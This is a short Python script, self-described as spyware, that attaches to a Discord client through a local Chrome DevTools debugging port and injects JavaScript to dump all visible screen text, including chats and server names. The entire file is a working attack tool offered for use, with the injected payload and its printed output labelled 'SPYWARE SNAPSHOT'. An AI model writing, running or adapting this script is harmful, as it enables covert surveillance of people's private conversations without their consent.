from websocket import create_connection
import json
import urllib.request
import sys
import time

def get_debug_url():
    try:
        resp = urllib.request.urlopen("http://localhost:9222/json")
        pages = json.loads(resp.read())
        for p in pages:
            if "discord.com" in p.get("url", "") or "Discord" in p.get("title", ""):
                return p.get("webSocketDebuggerUrl")
    except:
        return None
    return None

def main():
    print("[*] Connecting to Discord UI...")
    ws_url = get_debug_url()
    if not ws_url:
        print("[-] Debug Port not found.")
        sys.exit(1)
        
    ws = create_connection(ws_url)
    
    # Payload: Dump all text currently visible on screen (Chat, Server Names, etc.)
    js_payload = """
    (function() {
        return "VISIBLE_TEXT_DUMP:\\n" + document.body.innerText;
    })()
    """
    
    cmd = {
        "id": 1,
        "method": "Runtime.evaluate",
        "params": {
            "expression": js_payload,
            "returnByValue": True
        }
    }
    
    ws.send(json.dumps(cmd))
    
    while True:
        try:
            resp = ws.recv()
            data = json.loads(resp)
            if data.get("id") == 1:
                val = data.get("result", {}).get("result", {}).get("value", "")
                print("\n" + "="*50)
                print("📸 SPYWARE SNAPSHOT (Screen Content) 📸")
                print("="*50)
                # Print first 500 chars to avoid spam
                print(val[:1000] + "\n...[truncated]")
                print("="*50 + "\n")
                sys.exit(0)
        except:
             break

if __name__ == "__main__":
    main()
